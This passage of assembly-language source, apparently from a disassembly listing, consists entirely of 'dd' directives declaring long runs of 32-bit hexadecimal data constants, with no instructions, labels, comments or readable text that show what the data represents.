		dd 978A5AE0h, 92D079Eh,	43498F94h, 800BD082h, 0C100EAE3h
		dd 0CE73D091h, 4954E93h, 0B95EE5BEh, 0AC0CA0B0h, 0ADABEE00h
		dd 97D1EA14h, 0C6B7A14Ah, 1D4271C8h, 5C7AE9D4h,	1F42CF5h
		dd 972E580Ch, 21D0303Dh, 0B3DDBB0Fh, 449A64BCh,	1E5CCE0h
		dd 1AC14AEFh, 30A3B571h, 680087D8h, 0CBF1836Eh,	3973CE8Dh
		dd 8072A1Bh, 305B5685h,	0B676E8Eh, 7FB64F00h, 0FB54A582h
		dd 0C6282620h, 0E1603CFh, 391452Fh, 0F161D275h,	0EFF2F480h
		dd 0CAD80950h, 7AB4A144h, 38B645C0h, 47EA8028h,	0E0B8B4Bh
		dd 0E12D26A0h, 0AB0253EEh, 9841DD36h, 55F8FBBBh, 0BC042A19h
		dd 44F72C6Fh, 1F884CC0h, 137A6Eh, 6D4914D3h, 9E69FBFCh
		dd 711C7C00h, 952823DFh, 23201C2h, 0F9143F94h, 0CD7030AAh
		dd 98005EF0h, 38F345E2h, 2497F1D0h, 8724566Eh, 0F08A0C19h
		dd 240143BDh, 0BBC2100h, 54C0D552h, 506B003h, 2817A36Ch
		dd 0A53FC049h, 0FEEAE0A9h, 37819000h, 30FC31E4h, 0B21D38A4h
		dd 2522F185h, 0D6C80012h, 0EAECDF39h, 8EBDD30Eh, 1AD4C017h
		dd 483D4037h, 8906F669h, 9113F5A7h, 0BACDE4Ah, 38ED1B01h
		dd 0F812AAA9h, 6500B978h, 86E1E37h, 1C5955DAh, 87F06C27h
		dd 0E067F3BFh, 965212A4h, 6A7E38B8h, 0B5FBA714h, 0A5ED00D4h
		dd 17098A1Ah, 9667000Ah, 8128F402h, 0D300FFCEh,	8A835092h
		dd 484FE4F3h, 2D0026CAh, 0BDF063A5h, 18007E1Ch,	0B17F50FFh
		dd 7D2B26A2h, 93A8165Eh, 7D5700F3h, 6E8180DAh, 7A10FD00h
		dd 86A3173Eh, 572B00A2h, 0D1964414h, 0EEC5665h,	0DE9D6B28h
		dd 911A8C00h, 620AB8DBh, 60CC0290h, 9540963Ch, 161D2340h
		dd 0DD674Ch, 0D8E8D692h, 2489730Ch, 304845h, 0EE9328ABh
		dd 7D002AAEh, 993E68F6h, 7478C88h, 56B95796h, 0CF9DA165h
		dd 50C44010h, 15001406h, 46E1643Dh, 107DD38h, 7F8C2476h
		dd 606D8812h, 0B229624h, 44330029h, 822551FDh, 0C6008DA9h
		dd 69B1363Dh, 0C9C7A1h,	7CE45911h, 1D88E124h, 0B0E3EB00h
		dd 6A5CFAFEh, 8B85045Eh, 804814DCh, 0BC75E208h,	7C9CFC00h
		dd 3D5066E8h, 0CE0C3BEAh, 6200344Ch, 0B2385C09h, 54095A42h
		dd 80E88761h, 0CFCA3440h, 0FBDB01D0h, 77908FEBh, 0E03C1Fh
		dd 676D1923h, 9A8FDC4h,	21426EFh, 2709h, 0A669F59Ah, 0E7E07F00h
		dd 755D0177h, 9345006Bh, 0D3395C10h, 0CD000B0Eh, 0A871050Ch
		dd 5AF8A7h, 4BBBF9B5h, 45778D8Ch, 0EBA45002h, 0C1ABFF21h
		dd 0A5D1B50Eh, 9C8D2E0h, 0AA2991A0h, 37148907h,	44E97085h
		dd 8E003C8Dh, 0F127E1C4h, 0B0AB6Ah, 5CBD713h, 43A69269h
		dd 7F10A094h, 0C32A6C0Fh, 0B24B44A7h, 8C701AC5h, 74BDFB18h
		dd 0B8783Eh, 0BAE430D7h, 0BF035C69h, 0CAF41D00h, 44612916h
		dd 6416C4FCh, 827CC032h, 66EA8CFBh, 13CCF700h, 1107E8EDh
		dd 0F69E0948h, 0A4C8ABE0h, 2900AABAh, 0C26525B4h, 0F013D566h
		dd 63E3012Dh, 218A4775h, 4CFEC8CAh, 99D36C00h, 7E0759B1h
		dd 3380B11h, 2D788241h,	7C586500h, 73232BE6h, 9B98DAh
		dd 0FCC1B28Ch, 6961C0D3h, 7A244B0Eh, 42B16034h,	0E74E2Eh
		dd 0AD6C1F9Dh, 9AE185ACh, 81B74F00h, 0C07B36F4h, 26E603BDh
		dd 0CE652F56h, 0A57386E8h, 0E229A812h, 62754080h, 0D73D01A6h
		dd 0FD6A7711h, 0C416F935h, 0C91C3EF9h, 0A480FF8Ch, 52BF5508h
		dd 0C080004Eh, 62E5DA84h, 0FD3EE77Eh, 0BA290330h, 0E8B24C09h
		dd 0CC0DBE6h, 0AD1E251Fh, 32006F10h, 8131C1BAh,	8BABE9h
		dd 1FEBEA83h, 0F88C4FDFh, 0E35CC00h, 0BE9DAF23h, 0C6A30084h
		dd 0EF2F922Eh, 4F041DBAh, 0AF37FA28h, 10406092h, 0E10351E4h
		dd 1785A942h, 9D4EC0CBh, 9AC600E5h, 0EF571D76h,	0BB00A7C7h
		dd 95678848h, 0D819E081h, 0DB163018h, 938E891Fh, 189408h
		dd 0A9C50E12h, 0AA1D5F34h, 0F383BB39h, 0B8E1662Dh, 0B40D5D4h
		dd 939FFCCFh, 0A8815C23h, 5ABC92B8h, 59E35D00h,	0D3076CBFh
		dd 8C080043h, 82C89849h, 0ED5090BAh, 0F800F5A3h, 3E239963h
		dd 90F0688h, 78424A7Fh,	0DCE0EF09h, 0FD00AA47h,	83968D9Bh
		dd 32070BCh, 0D1C6DD30h, 80848941h, 878EE2D9h, 0FFAB0103h
		dd 0A0F61639h, 9100DB3h, 59CF3B6Ah, 3B0A868Bh, 2A34038Ch
		dd 0DEA8BE67h, 310004C5h, 0A363E239h, 852F7Eh, 0D0A46248h
		dd 0EE909740h, 1188700h, 2D11D671h, 89C6009Ah, 0AD7C274Dh
		dd 0A903B217h, 0E96B0DA1h, 0D06AAFC2h, 0F8D74700h, 0BF0AEAh
		dd 74C4B242h, 7B28B63Eh, 55D15B00h, 18FA2A8Dh, 8254007Dh
		dd 95CB129Bh, 0C80308B1h, 2148A252h, 0D0F6D819h, 0D58E1355h
		dd 62B40070h, 3FD4D7EFh, 0F91E1BF8h, 2703A616h,	0F3F4CC7Ah
		dd 0CA08DF2h, 85B53E45h, 6403A82h, 6960B261h, 0FE39FA13h
		dd 0EE2D9284h, 6487B312h, 878AEB50h, 4C8E0073h,	0FE31382Eh
		dd 85260672h, 0A7121334h, 66D800BBh, 0A9082BC5h, 90B27C00h
		dd 0A55BCF33h, 0B97911h, 4D614B8Bh, 0C743789Bh,	55F8B000h
		dd 0D6BA281Bh
		dd 13291E18h, 3EE28E88h, 0AA9A8F40h, 8B4991FCh,	80722E6Ch
		dd 0A1285A40h, 0A55600F5h, 57544A4Dh, 19097AC7h, 807EAB5Fh
		dd 0F04852D4h, 0C52700F7h, 0AC90F65Dh, 0D1008C5Bh, 4B948D74h
		dd 0F496F2h, 58B039C3h,	0C7C15215h, 0B8B10100h,	0CFAB147Ch
		dd 0EDEE2437h, 6654003Ch, 0C594D1ACh, 0A2FB5950h, 7B038E72h
		dd 917CFE6Ch, 1D2812ECh, 0B29C27D4h, 0C040BC07h, 5B0F2E82h
		dd 20FA8B6Ch, 8C1B598h,	10FB00F8h, 12480A03h, 65F49EE8h
		dd 0E3E56400h, 8D3FB461h, 4D0C00D6h, 14AC0DCCh,	8105EFCBh
		dd 0E1BC3C35h, 40D18C4Fh, 51A6BA3Eh, 18B4002Dh,	7D82141h
		dd 50052E7h, 2C979446h,	0B733213h, 23DA9A3Eh, 25D7B480h
		dd 0B200DF0Bh, 2742F8Fh, 3C80F2h, 5F7077F3h, 5CE935E0h
		dd 0DD87B8BCh, 13006898h, 0BC38B1h, 628274FEh, 0A537DC7Fh
		dd 2505BCA0h, 9DA3531Ch, 3E6C6400h, 0BCC238h, 7BF9BBABh
		dd 986E569Eh, 0A3522900h, 88890E18h, 0C93D0393h, 0C8F36844h
		dd 0D1014803h, 90109FF9h, 90C72Ah, 34D51C71h, 6A624EE0h
		dd 2B0091F2h, 0D981BF50h, 4CAA99h, 429A8E7Ah, 32681293h
		dd 0DB5FF207h, 4600E222h, 16A664Dh, 0A92F584Fh,	0F80E542Ch
		dd 78E655CDh, 0B9C73C02h, 80772BC1h, 0CF84A7A7h, 0E20704ECh
		dd 0D0C88E25h, 70E49F68h, 0A453DE00h, 2E775D5Fh, 0B1EB00FEh
		dd 4F0C1CE2h, 0B609C6C4h, 8B236Fh, 758504F7h, 0D165008Eh
		dd 45EEA961h, 0B0004C84h, 72DB8DCFh, 4B21A31Eh,	0CED44242h
		dd 13E049CBh, 4A1D1064h, 0A2C274C8h, 61F45869h,	0ABE8909Eh
		dd 0BB550DC1h, 0D710CE11h, 8F794AC0h, 0F3947B00h, 1BEC063Bh
		dd 2DD100F2h, 0D65B8881h, 16163CB5h, 570F250Ah,	63B680EDh
		dd 7F76F2h, 0E834AA0Eh,	3D82A2E4h, 2BDE0100h, 2EADACC9h
		dd 0DD2400DFh, 66E46218h, 6D3AEECAh, 3A786194h,	98960388h
		dd 43DC069Fh, 8000A0C9h, 73FAAE60h, 7D4DC3EDh, 0AF2D0384h
		dd 494B064h, 1C80E1B2h,	8444E63Dh, 0C3CDB80Ch, 0D5F04Bh
		dd 9AF93CA8h, 68E88D29h, 0A2F74Ch, 3B76D6A1h, 0D8416Fh
		dd 8AC5EFA4h, 8F6E5133h, 0CC91D11Ch, 7C0EA241h,	0BBE46212h
		dd 90F0EFh, 0ADBC3317h,	0F259DCFDh, 0ED42500h, 0A20396DDh
		dd 1C7A00BDh, 0EE4402ABh, 2B7C59B2h, 0D1699907h, 8780FAADh
		dd 0F015095h, 75A7B185h, 0C6F1EC80h, 0D473D683h, 0BEB0C80Fh
		dd 81B806B9h, 0D3720BD8h, 0CC432C4Ah, 4140D8C2h, 71069419h
		dd 673B4364h, 21B26008h, 3D2F617Ah, 0A5CA4104h,	0C88CFE8h
		dd 84220BCDh, 0F4AF2B73h, 0F61CB000h, 0BC06756Eh, 82DA1A2h
		dd 0BE4B08h, 0F61503D8h, 6B0088F2h, 0E4F18EFFh,	4EEACA8h
		dd 0D860B7AAh, 3F6C903Bh, 85090DC3h, 8FC77BC8h,	8CC40E22h
		dd 60215Ch, 0A2F4146Bh,	0E5D4BAE4h, 3D30930Ch, 75EBA0EEh
		dd 9B850577h, 18B604D2h, 277FF880h, 2F5B0486h, 6769941Eh
		dd 770FD304h, 52472F6Fh, 34C340C5h, 0D9147548h,	6228D310h
		dd 0A41460h, 3CD7132Fh,	0B57B0200h, 41B6F574h, 23BA00AEh
		dd 1DCBD87Ah, 3DF040E7h, 0EAF2C100h, 7B8E3A7Ch,	7ACF1EA1h
		dd 8641C001h, 2351F720h, 9F5F1D0Fh, 53017699h, 939E1175h
		dd 0C135F0C8h, 581ABA98h, 0F4D7EC9Ah, 0F690A290h, 26962301h
		dd 0D6665F24h, 0BD4EECh, 0DA780BA3h, 91336D08h,	23CFD90Eh
		dd 6392401Fh, 51A29Dh, 0F3C13BAFh, 32521226h, 7D87FE01h
		dd 0A460430Dh, 0BD8A8DC4h, 608BAE41h, 0AD0071CEh, 597C4E29h
		dd 22EDD8h, 4BBDAB0Ah, 0B6321E6Ah, 0C8F4BE37h, 0DC5504AAh
		dd 9D4EBC01h, 0F0DA8208h, 66522DCh, 0E94F7D26h,	99002833h
		dd 47166F23h, 1D9786h, 0D45559A0h, 4F7C8C48h, 26DDF3Ch
		dd 77C6A6EAh, 237B0215h, 88882C27h, 0B288723Bh,	28BF9479h
		dd 11397111h, 80086B77h, 0A30802C3h, 46A2B920h,	326E3322h
		dd 0A729C74Ch, 41301F10h, 1167C587h, 8B11C134h,	4DB71136h
		dd 116CAB11h, 0A1886F6Eh, 7E9D350Fh, 67118E90h,	0D11A0868h
		dd 34F30817h, 0BFB97100h, 1C4DB6EFh, 3007D9h, 0D878A558h
		dd 0B50054BEh, 6D612FCBh, 736B9112h, 98BA009Ch,	4C1D24A6h
		dd 7901BFCAh, 168C9B90h, 87DC2ECFh, 63FD00CCh, 0DDD436D1h
		dd 500FC925h, 27103C7Fh, 91101D93h, 1161C8h, 0E4BD99FDh
		dd 23FF5497h, 36003577h, 0FC8476E6h, 2B2F53h, 971BC12h
		dd 1E18A82Eh, 0BDCE6205h, 79C05F17h, 721B101h, 35B01FA5h
		dd 2067C029h, 2E17682Ch, 0C1448044h, 20901E05h,	3F6B37Eh
		dd 0E7DA38B0h, 6000A165h, 317654E6h, 66C1C6h, 621DB825h
		dd 0E260870Fh, 7B001A7Ah, 1B5463D0h, 0F4B4EEh, 0DF892CBDh
		dd 0D258448Bh, 80886260h, 226FACh, 265F9C13h, 0F5F23DC7h
		dd 7502E700h, 8907F174h, 4D1B00EEh, 9C271ABCh, 58097B60h
		dd 205CDD7Fh, 6BE2F674h, 14C600E3h, 2A475240h, 0AE15C207h
		dd 7BC413D6h, 23A95101h, 6F93BCC4h, 4931C98Ch, 0BB0016DDh
		dd 0D88750Eh, 0FABEE536h, 7175AFh, 0B03A2B72h, 21F95D7Dh
		dd 0DB36621Ch, 0A03F51CFh, 9D3D0333h, 0B81007D5h, 0F0F9F3CFh
		dd 3A97FC7Ch, 0A3BCBB00h, 1ACAE9C3h, 24E200C0h,	0B0322850h
		dd 0AE39E03Ch, 0EE380077h, 189276B8h, 5C0900E7h, 0D6E232B5h
		dd 8C000CE6h, 58F54F4Bh, 7439114Ah, 7C233E17h, 4400A7B8h
		dd 55CAF071h, 97009A4Fh, 24590E6Eh, 1F7D66F2h, 0C0BED092h
		dd 58CEF740h, 0A200573Dh, 18CAFD6h, 2C23ECCDh, 3D246579h
		dd 6D6E6F00h, 2D988DCCh, 571B3E0Fh, 7DD720BAh, 87CB5Ch
		dd 0B2732BFEh, 9DA98F80h, 9C5EA000h, 1844F346h,	0B6E09FE3h
		dd 0C00E494h, 3EB53133h, 0F4DF3D98h, 0EE84000Dh, 0E76D7CC0h
		dd 0F004671h, 57D370C1h, 1CD0Ah, 36CF0278h, 6A19EA2Ah
		dd 2F1E1400h, 7A1F6796h, 56EE04DCh, 8011B1DDh, 6F16CF8Ch
		dd 80503F48h, 54BC76F3h, 0ABD8008Ch, 5F25EE1h, 9F1DAD81h
		dd 115DB167h, 12A9C0C2h, 619068B3h, 0F01D072Eh,	0D0EE3925h
		dd 2D655C6Eh, 0C0EF800Fh, 582CA0D6h, 94A7119h, 0B55994EEh
		dd 0AF331C03h, 238C0980h, 0BEE46200h, 255C2035h, 0D2B045h
		dd 0B39A511Bh, 723A368Fh, 0CC99E71Eh, 50121C41h, 59EC06DDh
		dd 28654C20h, 0E538220Fh, 29E26F20h, 0A4CB76Ch,	0B83D00CFh
		dd 0CC64418Ch, 3C9F09D4h, 9C00CAFBh, 0C1978BE5h, 7909A53Bh
		dd 0C04AB300h, 0ABF4F834h, 75EA03DFh, 1227AEEFh, 0A21106E8h
		dd 98213E00h, 0CB19359Dh, 0C81C03DDh, 2262F374h, 14668BE0h
		dd 1F01A100h, 51DBC213h, 0DECB0012h, 81B8A2D3h,	0CA7F4BEDh
		dd 0D40C4C00h, 0AC77D2EEh, 0D1830FB3h, 3A02E1Bh, 7461F467h
		dd 20007DF6h, 5825F780h, 8407B1h, 0B49B11E8h, 0ECC2BDA7h
		dd 0BED5C004h, 0E880DDD1h, 5614D68h, 47A13AC4h,	13A8027h
		dd 0B8A16FBAh, 3C8424FEh, 0F03D48h, 3211AC79h, 1231080Eh
		dd 406209A9h, 456CE2Ch,	38C0A00Dh, 85EADB5Fh, 85B093Dh
		dd 548EB9B1h, 936AA4E7h, 1AE0DD41h, 17008A8Eh, 617143FBh
		dd 0A0AB145h, 0E3219EF3h, 8F1004D6h, 1894C0D4h,	930E0F48h
		dd 600D86D5h, 0EBFD25C0h, 2B3A1FA4h, 60A780E7h,	4F538BE9h
		dd 38809424h, 0DBCA7404h, 1D1A0700h, 7900228Ah,	0FE53C109h
		dd 7971747Bh, 0D9700C9h, 9D402543h, 42006B93h, 0FED3F92Dh
		dd 24B69052h, 686326h, 22CA3D27h, 500750Bh, 36E4A423h
		dd 4DB20C6Bh, 867BDC1Bh, 7D5429F8h, 47018F90h, 0DEFD9D67h
		dd 0BBC045CCh, 41B1244Eh
		dd 3FAB002Ch, 8927A731h, 128F9A03h, 0D8B7D7EBh,	0BA9386h
		dd 9DC9833Dh, 50180A2Ah, 0F63D7C7Ch, 17198041h,	0FC5437A3h
		dd 2EDD00E5h, 0E6A015ECh, 31C4888h, 0C9C00660h,	63D12F0Ch
		dd 0F2F4004Dh, 265015DDh, 2D0E75A3h, 8F1E966Bh,	7F7D4084h
		dd 180F92h, 27A95BB4h, 1D6CE04h, 0C6CCC200h, 4133D22Ch
		dd 80D7E148h, 8172A2h, 0B7380854h, 197D3A9Ah, 6900347Ah
		dd 15BE3552h, 0FECA49Dh, 0C2FAFBFEh, 0E6C65300h, 0E4EF2A49h
		dd 0D3381C94h, 699E8151h, 71DAF848h, 885A60h, 0C0875A7h
		dd 0E1EC31C4h, 8A95CF00h, 8CD86BB8h, 831E008Fh,	9CD21003h
		dd 5700B989h, 0F7369AC6h, 1192E5Fh, 0ABCB0544h,	0DC7F346Eh
		dd 4F007933h, 0A7C8A352h, 6D4070h, 0A05E695Ah, 78F8571Fh
		dd 412788A0h, 0CE139B00h, 0DE93A46Ah, 9440086h,	7C72C0E2h
		dd 0FC007336h, 6F11120Dh, 83670Eh, 0B02E877Bh, 27D71305h
		dd 0C7190100h, 5291A474h, 0A2CB006Bh, 33ABF9A7h, 7100B20Ah
		dd 1E4E547Eh, 0CC0175h,	182738B4h, 0CAFFAB04h, 6DBD4701h
		dd 6E7DC356h, 0F7C86C8h, 5C257050h, 0A2808F7Dh,	0F81A48E3h
		dd 0C3DAE2E8h, 58005D7Bh, 15A0A9A8h, 540A3621h,	12CE068h
		dd 0DE7856CAh, 2EBB235Ah, 0B8B9FF83h, 2A58ED7h,	0CDEC3A2Ah
		dd 0C640A7ADh, 0A807DD97h, 0E277E9DAh, 0EF60DE27h, 7D9385DBh
		dd 53D20F56h, 0CA208AA4h, 0D9F5A237h, 8B341000h, 8E1F6F02h
		dd 0DCC85050h, 0C1730005h, 0E79FDA26h, 130165B8h, 0C03FC1Fh
		dd 0A4CCC54Dh, 4B61EEDh, 209A4002h, 0CA27B0F0h,	0BBE03A00h
		dd 1383BE97h, 0E8EF7825h, 6B74204Ah, 0CB4FAA00h, 0AB0D1275h
		dd 68AC496Ch, 6A05B500h, 0A7208899h, 1E1D5700h,	0A21A7A8Fh
		dd 77861E30h, 428DC0ECh, 813DFD1Bh, 0EA58AC00h,	0A18C6488h
		dd 4F5895CEh, 0FCEFCF28h, 179BED01h, 40B6D04Eh,	0F343B20h
		dd 0C42220BBh, 0DBEB2FE0h, 0B4749E4Fh, 0A5D7A200h, 60A95886h
		dd 9D80038h, 0B85E91D6h, 0AE00F34Dh, 46C666CCh,	4E5D0Eh
		dd 54A9E1CBh, 2C96E902h, 723A1098h, 3F140003h, 5CCFC790h
		dd 0EF863ACEh, 0A84EDD17h, 0E7DF00EFh, 0F3328EA5h, 6470007h
		dd 0D4718713h, 0ED0019B9h, 7FFE59EBh, 440872h, 3958EF34h
		dd 0B93EF5CAh, 0C075BE01h, 0E4A57A01h, 691C40C2h, 0A0E0006Dh
		dd 2B48F8E1h, 0EA00F2D9h, 0AE79E6A4h, 0E81913F3h, 4574EBh
		dd 0F1B025DAh, 762E9CD7h, 0A21F9900h, 0E2023C54h, 3897007Fh
		dd 7514D89h, 90FC832Bh,	173E19C0h, 3B292A7Dh, 5D07C5A6h
		dd 36AECDB3h, 0F0020DCh, 128B08D3h, 57D1341h, 0D19E2A04h
		dd 0F6A01933h, 2D97E8FFh, 0CCC5B600h, 3DB7C44Fh, 7770EE6Eh
		dd 618600FBh, 0A2FDD42Ch, 63F0CAB1h, 0E94FCD04h, 0AC80EB4Dh
		dd 7DED55C5h, 0C3310074h, 4C21CB04h, 0DF05AD29h, 9707ECC4h
		dd 3315D781h, 93A5DCh, 0C07A46DDh, 32045883h, 0A11F480Fh
		dd 400F7ACh, 0A7560CC3h, 0FAAB00E2h, 87D14FBFh,	800F1A69h
		dd 0C09F359Bh, 754ECBF3h, 53E71233h, 8A600073h,	946EEBECh
		dd 3DC9600h, 6D86D3B9h,	5B112BAh, 0A34840B6h, 0C27EFF49h
		dd 0CC5C9B71h, 273E7F0Eh, 0EC359385h, 72C9E800h, 0F02C49C1h
		dd 0D39000Eh, 5E8BB499h, 0D5008D59h, 2280A78Eh,	0B3CF44h
		dd 0CE5475Fh, 2C88AA08h, 0E0B6DF00h, 217E824Eh,	3667006Ah
		dd 9A28BF61h, 0BC007DCEh, 728747D1h, 0F449E32h,	5B6624ABh
		dd 0C00E38Eh, 7BA35AC0h, 0AC9A2600h, 46E606C2h,	1967011Bh
		dd 54CE4C62h, 6A80F042h, 9E3BE81Dh, 0F8ED2885h,	25B70880h
		dd 789000EBh, 43D994Ch,	5900B8DDh, 669C8DD8h, 1F229E17h
		dd 404B57D3h, 977AF8A6h, 3D4C4528h, 42A900E2h, 0C3E95ADFh
		dd 4988A029h, 6C9A4Bh, 68B11CA3h, 0AF0913CDh, 59B669h
		dd 3C466778h, 0B4480094h, 9F2B5DA3h, 5C1FF8DAh,	897F0F63h
		dd 0F1BF13h, 58DFBA14h,	5491039Dh, 0D837B4BEh, 0A927FBA8h
		dd 148CCD0Fh, 0C81CF33Ah, 891C6402h, 8099E278h,	0F25FB614h
		dd 4D7713A0h, 903C0FADh, 0D9398A02h, 0A64F2860h, 22950803h
		dd 90175892h, 5C467A4h,	823D9788h, 9CBD1F8Dh, 0C00800F1h
		dd 0F71C791h, 86A61F00h, 0D3A0588Bh, 3C6000E2h,	7DF03B38h
		dd 831E5968h, 0C185E6Dh, 419021Ch, 8BCE3CA7h, 0A3E0D057h
		dd 0DB00C397h, 23B614FEh, 17A00Fh, 5673ADBDh, 0BC7AED07h
		dd 6202667Bh, 8FCE3921h, 0FD3840F7h, 0E890518h,	1286017h
		dd 972D0B86h, 0FC9AF8FFh, 5B6D2100h, 0ED4FFA7Eh, 3E4E041h
		dd 7726B296h, 0CBF02329h, 891CCAC2h, 0B98025DBh, 0BE3BF0E8h
		dd 2AD0146h, 459BF5E7h,	0DCE8317Bh, 9E0281F7h, 0C7CA5866h
		dd 0ABD98049h, 0BA245Ch, 0C04A3974h, 0C82F6B5Eh, 55369200h
		dd 0BB627DB7h, 7F4400F7h, 0D9CE1601h, 0C516395Ah, 0CC007A51h
		dd 4AE04C1Fh, 697701BAh, 0AB27B24Fh, 965AE0C9h,	0E62F4100h
		dd 14A88078h, 0E010C098h, 939258E2h, 0B503EC72h, 20DA16A4h
		dd 1C500E50h, 8E8028ADh, 0C1D40BAh, 2D713916h, 9000F8ECh
		dd 26B60798h, 0D80FCCE1h, 0A744C281h, 8040CE3Eh, 131E0B86h
		dd 1C8491h, 2E67993Ch, 0CDB86E72h, 96CE1407h, 39B6EBFAh
		dd 80730058h, 8E68C25Eh, 0D373E6FBh, 1D601C00h,	0FA574BE7h
		dd 7FF276CAh, 0FC02E88h, 27113E7h, 0A738163Ch, 28D8C563h
		dd 19120E75h, 6007BABDh, 0A6CE8C29h, 109FECh, 858F2182h
		dd 86C9F519h, 4EF7A900h, 0A112E1C0h, 6330067h, 74110A8Eh
		dd 0E0EA6229h, 0D6024494h, 40EE5C63h, 1D31218h,	8DCAE9F8h
		dd 0F4522078h, 0E82C8385h, 0FA009B9Ch, 69B38951h, 0F1180061h
		dd 0FC9F6E66h, 883B9DF7h, 0F3F8032Ah, 0BFA79471h, 0D8EC3B50h
		dd 914F0056h, 23E231CAh, 5C12C201h, 8C003DD0h, 0D341557Eh
		dd 66102CFDh, 1EE16AAh,	13BC68CCh, 83F7F0C4h, 35442D1Dh
		dd 0EC20B6C0h, 0E004D2h, 255421Dh, 6637F0F1h, 94013BB8h
		dd 75299AC4h, 1083ED11h, 97B94615h, 4E5198B8h, 3B0FC2ECh
		dd 0AF70F2B2h, 75A040A6h, 0F4372193h, 6C2B00FFh, 3A572283h
		dd 3F003807h, 0EAF82748h, 136D20h, 7505FDAAh, 0EC6EA258h
		dd 0EE144900h, 50B79C64h, 0A4ED515Ch, 0BF4CECh,	96B4F339h
		dd 73AF83C3h, 590248E6h, 0E4F8C8C0h, 9BAEC0D1h,	4F9D0004h
		dd 2A011D0h, 4E036B83h,	7F3C0717h, 276EA853h, 0A71C5066h
		dd 0C3F201BEh, 0D6ED96AEh, 0FDA16019h, 0E6A66700h, 88CF5A41h
		dd 1278F27Bh, 149ADAA7h, 9E000305h, 4977FA7Fh, 5900612Fh
		dd 89A3E37Dh, 421B54Bh,	0FEAFCA3Ah, 0F2688017h,	5D24A0A2h
		dd 0C00910FAh, 0E4400143h, 8E20351Ch, 0B080FAC8h, 0E20C7E2h
		dd 0A0C21FC9h, 0D8801422h, 0C8AD2F6h, 2C98DE04h, 1B802DE2h
		dd 5CDC522Ah, 3D0062FFh, 102BB325h, 0F600771Bh,	8BC7FE73h
		dd 6A52C1h, 0AB95819Eh,	203A9BACh, 6BCEE000h, 6E9A4F38h
		dd 0F9430135h, 793B8E13h, 343C3074h, 0EC225D26h, 0FE26D881h
		dd 33FD5E4Ch, 4A68B540h, 0E50B0151h, 3A2A456Fh,	0B269E8CEh
		dd 0E3269E00h, 1101F18Dh, 0A0D8FFF2h, 0B7EA003Ah, 0FB907393h
		dd 0A91F629Dh, 1340C42Eh, 0A31CD680h, 0DE371F6Ch, 0E45C8925h
		dd 10F5A420h, 1E609FB5h, 0FEF1D00Ch, 0EF4C07E2h, 9C72B812h
		dd 652E0E29h, 9FBE0859h, 925EA64Eh, 0D60DC9h, 4F39F89Ch
		dd 0EFC200BDh, 5A777DE1h, 4A000257h, 17540B7Eh,	0CF9628Fh
		dd 0F894B503h, 14770148h, 9C267100h, 375DBB8Eh,	39A06EAh
		dd 1820BE11h, 0FDE24400h
		dd 87A5F6A3h, 0C78500D8h, 0F722AB39h, 31242F6Eh, 723C14A7h
		dd 0EED4BE12h, 0B6BA3800h, 0DE8D66h, 88CD61D7h,	0E64A6AEAh
		dd 99DC7100h, 9DBF80F4h, 0BA8F0097h, 111E3C8Bh,	0CF00C961h
		dd 4BFED2C8h, 0C4C8579h, 0F951C0B5h, 0E81C5F11h, 40C0B7B6h
		dd 524E19DEh, 66580735h, 0B05A3C97h, 0A79B31B3h, 2F1C3914h
		dd 0CE0A0098h, 794D3D66h, 24605965h, 0FB160174h, 128057B8h
		dd 66E3DC40h, 8D5A3Eh, 0E00E989Fh, 0CB2F78h, 90F0FDCCh
		dd 44E8133Ah, 3C502B03h, 0C40D8AF5h, 73466890h,	5B4A0012h
		dd 15EBDC2Dh, 7003B66h,	0B4C17044h, 1D81035Ah, 40BA42FAh
		dd 0C402B8D8h, 11000BBBh, 640FF2F9h, 3ADFDB3Ch,	8208096Ch
		dd 8F288571h, 1F86152h,	0AD915315h, 1BCC497Ch, 9BB818BDh
		dd 41A5B896h, 786DA401h, 0BBE1627Bh, 0E23DF8h, 734B1A53h
		dd 4C930F14h, 770BA098h, 9E2F03h, 0C0824D6Ch, 0EDDC0323h
		dd 9DEB5FD8h, 2DEE182Eh, 84057D00h, 384C2DE4h, 0DC00ACF4h
		dd 2BBDB158h, 363B04A1h, 3D198061h, 7D8C4AC3h, 82A20554h
		dd 77748Fh, 0D37856FDh,	9098B6B5h, 0AABED200h, 0E275ADEDh
		dd 58F94C95h, 31949300h, 0F1FA79D4h, 9FA8A400h,	9ED79B69h
		dd 0DC2500B4h, 31BF5088h, 2C004CE1h, 8E47F9ECh,	563CFD2h
		dd 0F7287430h, 983CC35Ah, 5FD0D188h, 0C8A23E00h, 3406582Eh
		dd 63FC049Ch, 802C877Dh, 74FEB8Fh, 209AE901h, 65470B6Fh
		dd 1136A060h, 448798h, 0F9151E82h, 7B7DFE4Dh, 24341412h
		dd 7900E9F0h, 0E63856AAh, 0F003EADh, 0A331285Fh, 0F71A1Eh
		dd 82A1DE5h, 0BBC7643Ch, 14F23401h, 0DD5216BDh,	117AC7h
		dd 2F3EBA1Bh, 60E8D59Bh, 72F48D1Dh, 809CE5CEh, 0BC49917h
		dd 0CC850059h, 56C53091h, 2F00F7CEh, 4896AB29h,	283EA0B0h
		dd 4424B169h, 9740AC34h, 4AD0009Dh, 88F2CB39h, 7C0BB5FAh
		dd 0EE84275h, 0B38A4111h, 0B8C3DD9Ah, 3415602h,	0B9530BD8h
		dd 0A19847A7h, 0E0E45A5Eh, 0F219DE60h, 2499901Eh, 0DC3246h
		dd 4DB7740Ch, 0AB004158h, 8D2DDCC8h, 14CE4D6h, 85F726D3h
		dd 0E0E54EBAh, 70903CF9h, 53420101h, 0E3D4C2A3h, 773ABDD4h
		dd 1B6100E5h, 0CBF9912h, 0D9023E4Ah, 0EFB4F6DAh, 2441DD33h
		dd 0ACAC014h, 0FF00A6ECh, 35A77645h, 24C6A0h, 0B561C07h
		dd 99803E4h, 495C4000h,	0ECBA565h, 9A7EFCh, 0FD4ED90h
		dd 16060A53h, 0AEE02E00h, 5D7EF1AAh, 0BF7EDDh, 4148233Ah
		dd 784C1703h, 21E92A00h, 85D7B959h, 0E57896h, 4118BB50h
		dd 8E639298h, 0C1EDB301h, 47BA45EAh, 8948E1CFh,	0FAD7E8h
		dd 864CE70Ch, 26DF312Eh, 0EB7C5E00h, 0FBC00E35h, 0ADA60022h
		dd 0D43934Dh, 8D7EBA6Eh, 5900CCB0h, 0C90BE280h,	482A17h
		dd 418CE052h, 0C0B2035Eh, 0EF5F9000h, 9F14A06Dh, 643B02CCh
		dd 0E6C2E3CEh, 750C4840h, 0C62E2000h, 0DA5065A8h, 77C30091h
		dd 4914F60Ah, 6E17FBBBh, 94075C7Ah, 0E0104758h,	24BC21CFh
